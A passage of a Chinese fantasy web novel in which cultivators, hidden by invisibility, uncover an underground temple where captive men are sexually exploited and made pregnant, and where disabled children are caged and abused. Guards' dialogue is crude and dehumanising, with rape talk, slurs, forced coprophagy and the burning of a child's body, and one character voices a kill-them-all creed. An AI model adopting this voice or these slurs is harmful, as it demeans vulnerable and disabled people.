走在通往地下的梯子上时,周遭一片昏暗,只有大师兄手上拿着一盏辟邪灯,为了不打草惊蛇,用的还不是加强版的,所以效果更是寥寥;不过她们修仙的视力好啊,一点点光亮就足够了。 只是这样阴森的氛围,让曾换月觉得她是在通往地牢。 这感觉实在是有些奇怪,她小声问道:“不是说高禖殿是祭祀高禖神的殿宇吗,我从来没见过谁把神殿建在地下的啊?这整得像牢狱一样……” 乐鸿摇摇头道:“我也前所未闻。” 明易幽幽道:“若不是后来移址,看来这高禖殿建立的初衷便与普通神殿不同。” 大伙默了默,都听懂了他话里的意思。这时候走到了楼梯的尽头,就见下边分了左右两条路,每条路口挂着一个木牌,左是“进”,右是“出”;看得出来是为了管理疏散人流而特地分开的两条路,便是殊途同归了。 他们按照指示往左边进去。 曾换月贴在师姐身后走。也许是在地下的原因,四周常常有莫名其妙的声音传来,有远有近,像人音又不似人音,仿佛还有呜呜咽咽的哭声?这让她有种夜探鬼屋的既视感。 她也不是怕鬼啦,只是……在这样的氛围之下,人心总是阴凉凉的。 顺着路走了一会,隐约见前方有些光亮,几人互看一眼,按照先前的约定,先用隐身诀隐匿了身形,如此方便行事。明易吹灭了手中的辟邪灯,他们摸黑往那点光亮寻去。 到了路的尽头,就见前方有一座规模可观的大殿,整体瞅着是和城主府差不多的规格,但不知是光线暗淡还是怎么,显得很陈旧;殿前的空地上同样摆着一座三足乌像,大门上的牌匾写着“高禖殿”三字,两边站着两个看门的侍卫,这会正在打哈欠。 以下是传密音: 顾梦真道:“那两个侍卫我看都已经三魂进入梦中了,真是心大啊。” 曾换月哼道:“估计是觉得没人能找到这来吧,毕竟我们也是费了不少工夫。倒是方便了我们!” 明易:“我们进去吧。” “好。” 虽然用了隐身诀并不光明正大,但几人还是姿态得意、大摇大摆地走过了两个昏昏欲睡的侍卫,如此简单地就进入了高禖殿。 进了里头,安安静静的,院中很空荡,没有一草一木,这倒也正常,毕竟是在沙漠之中,又是在地底下,整不了这些;就 是看着很孤寂,没有一丝活人气,反倒是……有些别的气味? 曾换月这时候吐槽道:“我知道像什么了,不是鬼屋,而是地下陵墓啊!” “嘘!”顾梦真瞪她一眼,“别说这些吓人的。” 曾换月撇了撇嘴,心说吓人的才要说出来呢,不然憋在心里,她自己受不了的。 石映心微皱眉头:“有奇怪的味道,难闻。” “感觉是混杂了很多的气味才这么奇怪。”乐鸿嗅了嗅鼻子,脸色也有些不好看,“像是在用香味来掩盖臭味。” 大家被他一说都这么觉得,但目前这不是重点,只要这味道没毒就行。 高禖殿中的布局和城主府也有些像,一院有一座正殿,两座侧殿;里头应该还有一个内院,应是差不多的模样;不过既然是在里边,那定是会有更隐蔽的秘密…… 目标有些多,大家商量着要分头行动。小师妹是肯定要跟着师姐的,往常她们二人一组也就够了,但这时快过子时,明易不敢让石映心离开视线,所以最后只分了两组。 二师弟胆子不大,乐鸿性子稳妥,他们二人一组的话,明易还算放心,便叫他们在一院内搜查,他和两个师妹去内院。暂定如此。 顾梦真拿出传音鹤,对乐鸿道:“走吧,我们先去找李大。” 乐鸿看着纸鹤点点头:“好。” 传音鹤被施加了法术,拍拍翅膀活了过来,先是原地兜了个圈,忽然锁定了西侧殿,迫不及待地就往里头飞去,二人紧跟其后。 这侧殿看着平平无奇,进了里边却有些不同了。一般来说应是“堂屋加两个卧房”的布局,但进门后他们先是看到了……柜台?不错,就是去食店吃饭,一进去点菜的地方。 此时的柜台没人,后边的柜子上重重叠叠了一些书册和牌子,顾梦真隔空拿了两个来看。书册就是记账的,某一页上写着日期,几组数字,数字下画着几个正字。 乐鸿在边上说:“这个像我们当值时的签到册,画正字应是指次数?” “那不同的数字就代表不同的人了。”顾梦真又看向手中拿到的牌子,上面写着091,“族人在这里拿了牌子,凭牌子去找人……原来是这样。” 乐鸿叹了口气:“091……这么多人吗?”明明他们整个族也没有多少人啊。 传音鹤还在边上飞着,扇翅膀的时候发出一点声音,唤回二人的思绪。他们目前所处的堂屋很窄很小,仿佛只有一个“点菜”的作用。眼前是一条贯通的走廊,走到走廊路口一看,似乎全是房间。 二人跟着传音鹤右转往里面走。每个房间的房门上都挂着锁,瞧不见一个窗户;房门之间相隔不远,不必看便知道里头有多小;两边的墙上都配有壁灯,这会没亮,但他们透过传音鹤散发出的微弱灵光,可以看清墙面上深浅错乱的污迹。 乐鸿失神道:“真的像……地牢。单人一间,其实更压抑。” 顾梦真的面色不知何时严肃了许多:“毕竟这些族人都是被迫的。” 乐鸿这时候有些想不明白,同时也来不及多想,因为传音鹤已经停在了一间上锁的房门前,顶着喙往门上撞了撞,然后乖乖地掉入了顾梦真的手中。 顾梦真将传音鹤收起来,往门锁上一施法,锁悄悄发出一声“咯噔”,就这么解开了。二人对视一眼点头示意,慢慢地将门打;里头很黑,贴着屋顶的窗户洒进来几道月光,只是让人不至于摸瞎的程度。 屋子很窄,几乎只摆得下一张床一套桌椅,床上躺着一个瘦小的人,正把自己缩在又薄又破的布衾下;他反应很迟缓,直到二人进了屋中看了一会,他才意识到门被人打开了,于是从床上支起身子,看着空荡荡的门口,有气无力道: “娘?是你吗……” 二人(隐身版)都是一愣,一时情绪复杂,不知该不该显露原形。 犹豫时又见他叫了一声:“娘……” 听着好无助。 乐鸿想了想,把门轻轻关上,还是显露了原形,顾梦真也紧跟其后;原本隐身着看不出来,这会屋里一下子变成三个人,显得非常拥挤。 李大茫然地看了看他们,可能是二人长得面善,更可能是他知道自己任人鱼肉的处境,所以并没有太大的反应,只是困惑地说:“你、你们是谁?看着不像族里人……” “这个……”顾梦真还没想好用哪个借口呢,“这个说来话长,总之我们是好人,不是来伤害你的。” 李大抬了抬眼皮:“那是来救我的吗?” 顾梦真有一说一:“这个不能保证哈。” 乐鸿便问:“你想我们救你出去?” “想……”李大飞快地说,但很快又陷入了茫然,“但出去之后……他们还是会把我捉回来的,三足乌城就那么大……” “你别灰心,”乐鸿安慰他,“也许你能离开三足乌城呢?” “真的?可我族已经有七八年被困在这里出不去了。” 顾梦真挑眉:“你猜我们是怎么进来的?” 这猜是猜不到的,但李大已经明白了他们有这样的本事,那张形容枯槁的脸上仿佛被月光照亮了:“你们真的能帮我……” 乐鸿点头:“嗯。” “这个不能保证哈。”顾梦真依旧谨慎道,“不过如果你能给我们提供一些可靠的信息,也许会好些。” 李大听到这就想哭了,他抽了抽鼻子,用力点头道:“你们想问什么,只要我知道的,我都会全盘托出、无所不言。” 第143章 见他这么配合,二人都松了口气。顾梦真问:“其实我们已经知道了高禖殿的大致情况,也清楚你们这些可怜人都是被绑来这的……除此之外,你可知道什么不为人知的秘密吗?” 说到这他想到什么,忽然叹了口气:“不过你应该还没来几天吧,也许知道的不多……” “我知道!”像是生怕他们觉得自己没用,李大急促的声音都大了一些,“我知道一个很多人都不知道的秘密!” “是什么?” 顾梦真和乐鸿不知道的是,明易三人遇到的戒备要比他们的森严许多。内院有许多地方冒着火光,有火光的地方就意味着有人,走廊间来回有人巡逻,虽说有隐身术加持,但也不好当着人家的面就把锁开了吧? 而且这里大部分房间都上着锁,究竟哪一扇后面有她们想要知道的真相呢? 三人正探查着情况,忽然听前方拐角处有开门声传来,连忙走去一看,就见一个侍卫打扮的瘦男人从一间门里出来,提了提裤子后打算给房间重新锁上,这时另一边走来一个胖侍卫,和他打招呼道:“今儿又找他啊?不换换口味?” 瘦侍卫“啧”了一声道:“老子有洁癖!之前那几个都在我眼前漏·过·屎,这我受得了?就这个还干净些。” 胖侍卫推了他一把,笑道:“还什么洁癖,说得这么好听,不就是嫌人家松嘛?” 瘦侍卫白他一眼:“我这不正常吗?老子不像你,只找diao比你大的。”说到这又笑了,“这不遍地都是?” “这叫征服的快感,你懂不懂!”胖侍卫也不生气,还笑眯眯的,“这些人diao长得再大又什么用?还不是被·草·的份?8号房那个,他幼时还嘲笑过我,说我以后要被女人嫌弃……结果呢,现在女人都死光了,他被关在里边挨·我·草,哈哈哈!” 瘦侍卫闻言感叹道:“别说女人,你一说我又想了。和这些鸭子比起来,那女人是又香又软的,主要是干净!老子一想到·草·的·是·拉·屎·的地方就有点忍不了……” “大哥,这都几年了还没习惯啊?” “你没·草·过当然不想了!你进去闻闻,哪个屋里没屎尿味?臭得要命!” 胖侍卫点点头说:“这确实……不过我也习惯了。对了,方才头儿和我说,叫我们选几个条件还行的送内殿去。” “又选?昨日不是刚送两个过去?” “头儿说的。” 瘦侍卫不耐道:“过两日的祭祀大殿到底要做什么,为什么要选这么多人?比几年前那次还……” “嘘!”胖侍卫及时打住他的话,那双豆大的眼睛提溜转了一圈,其实谁也没看到,“之前的事你还敢提?” 瘦侍卫耸了耸肩:“不提就不提,走,选个最老最松的去。” 二人就这么走了。 躲在边上听了这段不堪入耳的对话的师兄妹三人脸色难看地瞅了眼彼此,一时都不知从何说起。 曾换月瞥了眼一脸沉默的大师兄,面不改色的师姐,最后还是她甩甩脑袋甩飞那些脏玩意后先 开口了:“这些人真恶心,差点要听吐了!我们还是赶紧找到线索离开这里吧?” 明易“嗯”了一声,瞅了瞅石映心,对两位师妹道:“听他们话里说要送人去内殿,我们跟着去看看。” 石映心点点头。 偷摸跟着去的时候,小师妹吐槽道:“我说空中怎么总是萦绕着若有若无的臭味,居然是屎尿味!呕,好恶心啊……” 石映心幽幽道:“恶心到想揍人。” 明易有些诧异地看了她一眼,正想问什么,却见那两个侍卫从某间屋里拎了一个男人出来,那男人像个软脚虾似的被提着,一出门仿佛被热水烫到了似的,整个人绷了一下,忽然跪了下来:“饶了我、饶了我!不要打我不要杀我,我乖乖听话……” “啧!”瘦侍卫踹了他一脚,“给我安分点,跟我们去内殿!” “去内殿……”软脚虾似乎恍惚了一瞬,很快摇起头来,“我不要去内殿,我不要……” 胖侍卫在边上皮笑肉不笑道:“你这么害怕干什么,内殿是个好地方。” “你们骗人!”软脚虾跳了一下,“我知道内殿是个什么地方,所有人去那都是有去无回!” 瘦侍卫抠了抠鼻屎:“你都说有去无回了,怎么知道不是去享福呢?” “怎么可能……” 胖侍卫道:“别和他废话,打晕了带走就是,头儿还在等着。” 瘦侍卫弹走鼻屎,拳头一举就要打人。这软脚虾吓得连连后退,后背贴着墙,又喊又叫道:“求你们放过我吧!我在高禖殿被欺辱多年,已经认了命算自己倒霉!但我真的不想死啊,你们放过我吧,大家都是男人……你们应该懂我的痛苦啊!” “呸!”瘦侍卫一听这话就生气了,狠狠地打了他一巴掌,“放屁的都是男人,你·他·娘·的算什么男人?!别把老子跟你相提并论!” 软脚虾捂着脸,惶恐又茫然看着他们:“我不是男人是什么?” 胖瘦侍卫哈哈笑起来:“不过是只可怜的老鸭子罢了!哈哈哈……” 软脚虾浑身发抖,目眦欲裂地盯着二人,声嘶力竭道:“你们这些同室操戈、自相残杀的小人,能有今日的得意不过是你们走运!等我们这批人死光了就轮到你们了!什么男人鸭子,你我之间根本没有不同——啊!” 随着一声伴着“砰”的惨叫,软脚虾的脑袋被砸到了墙上,两眼一翻就这么晕了过去。 瘦侍卫往软脚虾身上啐了一口痰,咒骂道:“死鸭子,说什么乱七八糟的!看老子怎么收拾你……” 胖侍卫拉住他,脸色也有些阴沉:“等去了内殿他自有人收拾,赶紧走吧。” 瘦侍卫想想也有理,哼笑一声道:“把这年老色衰的送走,这屋子能来新人了。” 胖侍卫也笑了:“我听说李丙的儿子前几日进来了,在外院。” “李丙?”瘦侍卫哈哈道,“好啊!我早看那老不死的不爽了,他之前还骂过老子!现在老的死了,那就父债子还吧,哈哈哈哈哈!” 二人一边笑一边拖着软脚虾走了。 曾换月咬牙切齿道:“太过分了,太过分了!” 石映心:“都该死。” 曾换月:“就是就是,都该……嗯?” 明易微不可察地叹了口气:“走吧。” 于是她们继续跟着两个侍卫,见他们又去一个房间里拖了一个男人出来,这会是直接打晕了的,大概是为了省事。二人就这么一个拖着一个走出了大殿,穿过院子,往边上的游廊尽头走去。 正常看来,游廊的尽头只是普通的墙罢了;就见胖侍卫往空白污黄的墙上拍了几下,平平无奇的墙面忽然突出来一个巴掌大的圆台,瘦侍卫接着把圆台往下一按,两侧墙面的夹缝就成了一道裂缝,一推就打开了。 曾换月扯了下嘴角:“这三足乌城的机关还挺多,也不知道防谁哈。” 明易道:“看来他们族人并不是那么团结统一。” “人和鸭子如何团结统一?” 这话是石映心说的,惊了她师兄妹一下;转头看去,就见她面无表情地跟着进了墙门之中,二人连忙紧跟其后。 小师妹看着师姐的背影,小声和大师兄道:“大师兄,我怎么觉得师姐……有一点点怪怪的?” 明易面色有些严肃,只是道:“已经过了子时,可能变了些性子。” 曾换月有些忧心了:“是哦!” 大概是变了的,但二人有些说不出来变了哪,总之先小心看着。 进去之后,内殿和外边也没有太大区别,不过又是一个院子罢了;胖瘦侍卫的头儿正在站在金乌殿正殿门口等他们,见二人来了就训斥了几句“慢手慢脚”之类的,然后指挥着他们把人往屋里拖。 其实就是把两只鸭子从外边的房间挪到金乌殿的房间,三人暂时没有机会进房间里看,不知道有什么不同。 但从这些侍卫的对话中推测,换房间像是一种“功能划分”。比如外院住的主要是接待族人的“鸭子”;而进内殿还要通过机关门,那便不可能是寻常人能进的地方,这些“鸭子”来到这定是别有用途。 关好两只鸭子之后,侍卫头儿对二人道:“你俩来得正好,先前看管送子殿的侍卫染了病告假了,反正这两日也没客人来,你俩也清闲,就去收拾一下吧。” 说得真轻松呵,胖瘦侍卫二人的脸色明显变差了一些,但面对头儿,二人自然是不敢违抗的,于是不情不愿地应了下来:“是。” 送子殿? 师兄妹对了个眼神,继续跟着胖瘦侍卫二人,在他们身后清清楚楚地听他们吐槽埋怨。 瘦侍卫:“草·他·娘·的烦死老子了,老子最烦去送子殿了!” 胖侍卫也不高兴:“我先前在送子殿当值了半月,那些……啧,真·他·娘·的叫人恶心。” 瘦侍卫嗤笑一声道:“你觉得恶心,有人喜欢!在送子殿的那小子居然还染了病!笑死老子了,真是不挑啊,有个洞就行是吧?切!” 胖侍卫耸肩道:“有人就爱这口,先前不是还有人想搞个骆驼殿吗?要不是副城主 强烈反对,指不定就成了。” 瘦侍卫:“我倒是没兴趣·草·骆驼,不过要真搞起来,那得去看看。” “看看就想·草·了。” “去!胡说什么呢你!我看是你·想·草!” 二人就这么打闹调笑起来,蜡黄色衰的两张老脸也挡不住谈性色变的青春洋溢,难怪说男人至死是少年。 第144章 跟了一路、听了他们谈话全程的师兄妹三人已经麻木了表情,对这两人说出的任何恶心、毁三观的话都习惯了。 世上就是有这么恶心的人,甚至还很多。他们已然接受了这个事实。 不过这个骆驼殿一听就知道是干嘛的,可送子殿又是怎么回事呢? 她们也不着急,反正答案就在眼前。跟着胖瘦侍卫来到面前挂着“送子殿”牌匾的大殿门前,随着门被“嘎吱”打开,苍白的月光照亮飘荡的灰尘,黑暗之中仿佛有什么醒来了。 不等石映心她们有更多机会探查,里头忽然吵了起来,有咿咿吖吖的叫声,也有像野兽的咆哮,婴儿的哭声,甚至分辨不出来是什么的,一时之间嘈嘈杂杂,乱作一团。 曾换月惊得脚步一顿:“什么玩意?这是人发出来的声音吗?” 明易也有些不确定了:“应该是。” 瘦侍卫开始抓耳挠腮:“真·他·娘·的烦!” “随便交差了事吧。”胖侍卫这么说,走去打开放在墙边的一个木桶,里边是满满当当的……猪食?又听他说,“今儿还没放饭呢,难怪吵成这样,添了饭我们就走。” 瘦侍卫骂了一声:“走走走。” 三人紧跟其后,很想一探究竟。 就见他们先打开了最近的一个门,还不等人进去,里头忽然扑出来一个身影,越过瘦侍卫和门之间的空档跑了出来,但没跑一步就被眼疾手快的胖侍卫给捉住了,猛地又扔到了里头,“砰”的撞击声伴着他的怒骂:“贱种!” 可就这一刹那的功夫,三人已经看清楚了贱种的模样:那是一个猴子模样的小孩。其实是人的五官,人的肉身,但他萎缩的肢体动作、比例古怪的五官和四肢,看起来就像猴子一般。 曾换月震惊:“那是什么啊?三足乌城有猴子?” 明易声音微沉:“是人。” 石映心没什么情绪道:“不是正常的人。” 又听里头传来“吱吱啊啊”的叫声,果然不会说人话的。 瘦侍卫没进门,只是捞了一个脏兮兮的空碗出来,舀了一勺米饭就放了回去,接着又给了扑上来的猴子小孩一脚,趁机把门关上了,嘴里骂骂咧咧:“没吃饭都这么皮,下次多饿他几日!” “走吧,下一个。” 接下来几扇门稍微安静许多,虽说还是有些奇怪的声响,但起码没有再猝不及防地扑上来什么。三人透过门缝还是看清了里头的景况,真是千奇百怪:有脑袋两个大的小孩,有一脸智障的小孩,有不会走只会爬的小孩,还有奇形怪状的小孩…… 其实她们也不能确定这些真是“小孩”,还是只是肉身萎缩的、类似侏儒的人,毕竟有一个“小孩”长得还挺老的…… 但无一例外的是……石映心说:“他们的眼神,情绪,都非同寻常。” “我嘞个逗,这些……人?”曾换月越看越觉得自己的精神值在掉,“这些到底是什么啊……” 不管是什么,明易严肃地提醒师妹:“映心,千万不能照他们。” 石映心瞥他一眼:“用不着你说。” 明易:…… 曾换月:oO 三人间的气氛诡异地沉默了一下,忽听前边又有骂声传来,是瘦侍卫:“草·他·娘·的!这贱种把屎拉碗里了!老子没看清手指都戳进去了!!” 胖侍卫幸灾乐祸地笑起来:“屎盆饭盆不分,对这些傻子来说也正常,哈哈哈!” 瘦侍卫气得要死,不知哪里掏出一块布来使劲擦了擦手,越擦越生气啊,忽然把脏布一扔,手往里边一伸,捉过来一个毛躁的脑袋往下摁道:“分不清是吧?分不清还吃什么饭?吃屎吧你!贱种!哈哈哈哈!” 曾换月:“呕!好恶心啊,他们干什么啊!” 明易:“过分。” 石映心:“欺凌弱小,该死。” 她师兄妹:…… 和三人的义愤填膺比起来,边上的胖侍卫似乎习以为常,在边上说风凉话:“这些贱种跟狗也没区别,经常自己拉自己吃的,倒是省了打扫的功夫。” 瘦侍卫冷哼一声:“要我说,凭什么要我们扫他们的屎尿?下次都让他们吃了!真搞不懂城主,留着这些人不人鬼不鬼的废物做什么,还不如杀了省事!” 胖侍卫说:“不是少司命说要留着的吗?当时是说要做什么研究。” “屁个研究,他一句吩咐,给我们这些兄弟找了多少麻烦!” 胖侍卫还算客观道:“我们这些做侍卫的本就是听吩咐的,谁叫没有人家的本事呢?再说少司命也都是为了我们族人好。” 瘦侍卫闻言松了口怒气,会心一笑道:“那倒是,我们在这些鸭子身上染的脏病都是靠少司命治好的。就凭这点,老子服他!” 曾换月:“楚汴原来干的是这样的勾当!” 明易:“毕竟他是族里唯一的大夫。” 石映心:“救了不该救的人,该死。” 她师兄妹:…… 胖瘦侍卫把门关上,提着饭桶继续前往下一个房间,一边走一边说:“对了,少司命领养的那两个孩子叫什么来着?” 胖侍卫:“小克,小洋。” “我上个月去拿药的时候看过,长得倒是和正常人没两样,不说话就是普通小孩,我看有一个还蛮乖的,知道帮忙!” 胖侍卫点点头说:“和这些见不得光的贱种比起来,那两个孩子好多了,所以少司命才把他们带在边上养,估计是想看看有没有再进一步的可能吧,可惜这几年迟迟没有成效,死的人一个接一个。” 听到这儿,师兄妹三人有些云里雾里的,什么叫“和这些贱种比起来”,“进一步的可能”又是指什么,还有“死的人一个接一个”是何意? 她们迫不及待地想听明白,可侍卫二人的谈话止于开门的下一刻,瘦侍卫皱起眉头道:“这屋里的死了。” 胖侍卫叹了口气:“又要多走一段路去把他烧了,今晚真是累得慌。先放着吧,喂完饭再处理。” “草,烦死老子了。” 他们就把门这么半掩着,继续去给其他房间添猪食。三人趁机进入房间一看,就见一个缺了四肢、只顶着一个脑袋的躯干躺在床上,过于瘦削的脸颊衬着他眼眶又大又深,两颗没有神采的眼珠子像陷在沙坑里的石头,直勾勾望着屋顶。 床上一片狼藉,有屎有尿。 曾换月觉得自己仿佛看到了分尸案凶杀现场,两眼一翻差点晕厥:“我嘞个逗……师姐扶我。” 石映心扶住了她,冷静道:“好臭,应该死了有几天了。” 明易眉头深皱:“这样行动不方便的人,怎么能让他独自待在屋里?” 石映心说:“他们没把他当人,自然可以。” 这确实。 曾换月有些看不下去,靠着师姐离开了房间,这才松了口气道:“究竟是怎么回事啊?他们到底是谁?三足乌城哪来的这么多奇形怪状的……人?” 明易瞥了眼在不远处继续办事的两个侍卫,声音微沉道:“看他们的身形……如果这些全是孩子,那不会超过五六岁,最小的可能只有一两岁。” 石映心补充道:“而且都是男孩。” “那怎么可能呢!”曾换月瞪了瞪眼,“他们三足乌族的女人七年前就全死了啊!难道还有没死的女人?” “不。”石映心摇头,“不管是郑银仁,还是那两个侍卫,他们话里说到‘女人全死了’一事时,都是真话。” “所以这些孩子是哪来的?”曾换月一脸懵,“石头里蹦出来的?” 石映心:“那是孙悟空。” “我知道啦师姐,我的意思是说……”曾换月说到这倏然顿住,瞳孔里散发出可怖的色彩,“等等,孙悟空……我记得孙悟空里是……不不,西游记,西游记里是有一个地方,那里的女人能够在没有男人的情况下生子……” 这个明易也知道:“女儿国。” “对,女儿国。”曾换月看向她师姐,神色依旧处于恍然前的迷蒙,“她们是因为喝了一条河里的水,那条河叫……” “子母河。”石映心说。 “什么!?” 顾梦真看着面前的李大,瞠目结舌道:“你说喝了你们三足乌城前的子福泉的泉水,男人就可以怀孕!?” 乐鸿听了也觉得不可思议:“你、你说的都是真的?” “千真万确。”李大一脸诚恳,“不信你们可以试试。” 二人:……这就不必了哈! 乐鸿还没回 神呢,恍惚地摇头道:“世上竟然有这么古怪的泉水?” “一开始只是普通的泉水。”李大解释说,“是七年前,我族所有女人死去之后,我们又被禁锢在城中不得离开,城主和少司命害怕族人无子,长此以往会造成无法挽回的后果,比如……灭族。” 如果曾换月在这里大概会说:“就你们这只剩下男人的破族烂族臭族,灭族才是喜大普奔,赶紧原地爆炸吧!” 但在场的是顾梦真和乐鸿,这两人心中虽觉得太离谱了,当面上还是有些稳重的:“然后呢?” “然后,城主和少司命就举行祭祀大典,带着全族人一起祈求帝俊,希望他能救我们于水火……”李大说到这顿了顿,失神的双目似乎在回忆着什么,“可是当时,大家都没想过会是以这样的方式……毕竟先前祭祀时,天神虽不说是有求必应,可但凡应了,都能有妥善的解决办法……” 顾梦真:“所以是帝俊把子福泉变成了如今这样?你们又是怎么知道的?” 第145章 “是帝俊托梦给少司命,少司命便让一位族人尝试,没想到隔日就能诊断出明显的喜脉!这事是暗中进行的,知道的人不多,是我爹当时在高禖殿当值,喝了酒后被我套话说的。” 乐鸿:“之后如何?” “之后……”李大顿了顿,脸色微变,“我爹说,少司命之后又在高禖殿的鸭子中选了几位尝试,将他们关在内院的送子殿中日日观察,直到十月后,他们真的产下了孩子……” “啊?”顾梦真目瞪口呆,“怎么产的?” “少司命帮他们剖肚产的。”李大叹了口气,“就是把肚子剖开,将孩子取出来,然后再缝上……也许是少司命手生,我爹说大部分的产夫,当时肚子还没缝完就失血过多而死了,就活下来了一两个,结果没过几日也发烧死去……” “都死啦?那、那那些孩子呢?” 李大苦笑一声:“那些孩子也不是普通人……或者说,已经不能算是人了,侍卫们都管他们叫贱种……对了,你们有见过少司命家的两个孩子吗?” “见过,”乐鸿惊讶道,“难道他们也是……” 李大点头:“不错,小克和小洋是所有孩子中最正常的两个,但二位应也知晓他们与寻常孩子的不同……总而言之,送子殿中的其他孩子,比小克小洋严重许多,所以只能关起来看管,不可放出。” 说到这他抬起头来,用那张可怜的脸看着二人:“我爹因为喝酒误事,没过多久就被辞退,回到家中对我非打即骂……唉,其实从小到大我也习惯了,起码被打被骂还能活着不是?可据我观察,这七年里进了高禖殿的族人……都是一去不复还。” “我结合我爹、还有之后来家中找他喝酒的、在高禖殿当值的侍卫的话,猜测那些被送入高禖殿中当了鸭子的族人,定是在被榨干之后,就送去喝子福泉的泉水生子,生了之后他们也许死了,也许没死,但没死的肯定还会继续生,直到死去。” “而那些孩子……除了小克和小洋之外,却从来没再见过。少司命对外说他们二人是七年前还未死的女人所生,他始终坚持这个说法,可见那些鸭子生下的孩子就没有再正常的了。” 说到这,他开始哀求二人:“我不想生孩子,更不想死!求二位仙人救救我吧!来世叫我为你们做牛做马做骆驼也愿意!” 等下李大,信息量太大,二位仙人有点头大。 其实这时候不只有两个脑袋大,而是有五个脑袋大,再来看看另外三个大脑袋的情况。 “排除了一切不可能的,剩下的再不可思议,也是真相!” 小师妹的眼里闪烁着真相的光芒,她对师兄师姐道:“大师兄,师姐,一定就是我说的这样,这些奇形怪状的孩子都是他们族的男人喝了子福泉的水生下来的!” 听着有些不可思议,但二人居然都接受了。明易颔首道:“说得有理,如此也能解释这些孩子的怪状,毕竟是用这样怪异的手段生下的……” “这些孩子最小的只有一两岁,”曾换月皱着眉头,“也就是说,哪怕生了这么多不正常的孩子,但他们这些年依旧在不停地尝试……就为了生出一个正常的孩子?” 石映心问师兄师妹:“我不明白,这些性命能分高低贵贱吗?” 大师兄:“自然不能。” “那为何他们要这么做?” 小师妹:“这个嘛……虽说性命不分高低贵贱,但确实……不寻常的人在世间就会遭受异样的眼光。” “再者,”大师兄补充道,“我想三足乌城做这件事的最大目的是为了繁衍后代,可族里的女人已经死去,城池又被封闭在沙漠中不得与外界互通,孩子更不可能凭空而降,他们这是……不择手段了。” “那就都死光好了,”石映心理所当然道,“就像鲛人族主动选择了灭族那样,他们就这么一个个死光就好了,为何要作孽?” “这……” 小师妹和大师兄面面相觑。他们其实明白这些族人的复杂心思,但此处的“明白”更多的是同为拥有七情六欲的人类在情感上的感应,要清楚明白地一一说出来就有些难度了。 不远处的胖瘦侍卫还在一边唠嗑一边投喂猪食……此情此景,实在不好和镜灵说清楚。明易只好先转移话题:“咳,此事之后再谈……当务之急还是先查明白这送子殿。为何我们只见孩子,不见生孩子的人?” “对啊对啊。”曾换月也回过神来,“看来这送子殿很有些名堂,不如趁着这两人还没喂完饭,我们抓紧搜查一番,找找产夫的下落?” 石映心说好。 明易道:“得留一人看守他们……” 说到这他忽然想起什么,改口道:“你们二人在留在这看着他们,我去去就回。” 曾换月明白现在这个情况不好离开师姐的,连忙应下,手上已经抱住了师姐的胳膊:“师姐你就留在这陪我呗?我一人害怕!” 石映心自然会答应小师妹的要求。 明易是打算速去速回,只可惜他找遍了送子殿没找到什么线索,除了胖瘦侍卫去的那一半走廊之外,大部分的房间都是空的,可以看出里边有住过人的痕迹,但没什么有用的线索。 正当他打算无功而返时,一只纸鹤撞到他眼前,是二师弟的传音鹤。上头说他们得知了一些线索,正赶来和她们会合。于是明易便赶去送子殿门口接应,正巧和二人撞上。 见到大师兄,顾梦真松了口气,气喘吁吁道:“大师兄,我们找到了李大,他告诉了我们好多真相!” 乐鸿喘了口气:“只是说来话长……” 明易心中记挂着两个师妹,颔首道:“不急,我们先去和映心她们会合。” “好。” 五人碰面时,正巧看见瘦侍卫把那个死去的小孩拎出来,乐鸿一时大受震惊、无法可想道:“逝者已去,这二人为何如此残忍,竟将幼童的四肢卸下!” 顾梦真:“这简直不忍直视啊!” 曾换月在边上解释:“不是啦……你们看仔细,这小孩本来就这样。” 乐鸿和顾梦真这才反应过来,这里就是送子殿,也就是李大说过的“问题小孩”聚集地;但先前他们只是听李大嘴上说什么“不正常”,心中以为有了准备,没想到亲眼所见之后还是大受冲击。 “这些屋里的小孩各有各的可怜。”曾换月扫了眼其他房间,对发愣的二人道,“你们是没看见,我都要吓发财了。” 乐鸿摇摇头哀叹:“作孽啊……真是作孽……” 明易道:“我们本是想找这些孩童的父亲,不过还没找到。” “哦,这个啊。”顾梦真回过神来,“这个我们知道。” 于是五 人一边跟着两个侍卫后头走,一边交换了情报,其实双方了解的消息大差不大,算是互通有无。 顾梦真看着胖瘦侍卫的背影,摸摸下巴道:“看来李大的怀疑没错,进了高禖殿就是有去无回……你们说他们方才往金乌殿送了两人,而不是送去送子殿,也就是说那二人不是去怀孕的,那是为了……” “祭祀大典!”几人异口同声。 光是目前的情况已经让他们大惊失色了,而即将到来的祭祀明显是比让男人怀孕生子更可怖的存在,几人的心中不得不感到一些压力。 乐鸿叹了口气:“苦海无涯,回头是岸啊,他们不能一错再错了……” “他们已经做了这么多过分的事,怎么回头还是岸啊?”曾换月不满道,“敢回头我就给他们一下,叫他们统统脑袋落地!” “换月。”大师兄提醒道,“正派人士,不能喊打喊杀。再说我们此行是来帮乐鸿收集证据,等一切水落石出之后,梵音门自然会对三足乌族有所惩戒。” 曾换月:啊!! 顾梦真:“就是就是。” 石映心看看小师妹愤愤不平的表情,又看看大师兄的隐忍不发,摸摸腰侧的剑柄,不温不火道:“草菅人命的人,也该做好被斩草除根的准备。” 曾换月一下抿住了唇,瞪着眼睛不敢乱看;她说狠话只是开玩笑啊,但师姐就……顾梦真也是一吓,明易正要说什么,却听乐鸿认真道: “石道友,你说得不错,这些入了高禖殿的可怜人,对其他族人来说就像野草一般低贱;可于你而言,所有族人都不过是草芥,皆可一剑斩下。他们自相残杀、分贵贱高下是错;但你若是杀了他们……与他们也并无不同。” 明易微叹一口气,颔首道:“乐鸿说得不错,映心……” 可镜灵却是轻笑一声:“世人皆无不同,万事万物都不过是弱肉强食罢了。我杀我能杀的人,让能杀我的人来杀我便是。” 这话给四人听得心惊胆战,别说乐鸿了,就是她师兄师妹也目瞪口呆;虽说映心平日是有些奇思异想,但没听过她说这么骇人的话啊。 “映心!”大师兄难得呵斥道,“你怎么能这么说?” “是啊师姐,”小师妹苦着脸道,“不要这么想嘛,我不想你打打杀杀的……” 顾梦真和乐鸿对视一眼,他们才刚来不清楚情况,一时不知如何是好。 石映心抱着胸没说话,只看面前的瘦侍卫将手一甩,那幼小的躯体便被扔入焚烧炉中;火焰得了燃料,一瞬间如野兽般飞扑吞下猎物,在夜色中咬住了镜灵琉璃般的瞳孔。 第146章 瘦侍卫扔完垃圾,拍拍手打了个哈欠:“总算完事了,赶紧回去歇着吧!” 胖侍卫应了一声,二人就这么并肩离开。 事已至此,看来他们无法从这些侍卫口中得知更多关于祭祀的信息了。夜已深,还是先回去休息吧,一切等明早再谈。 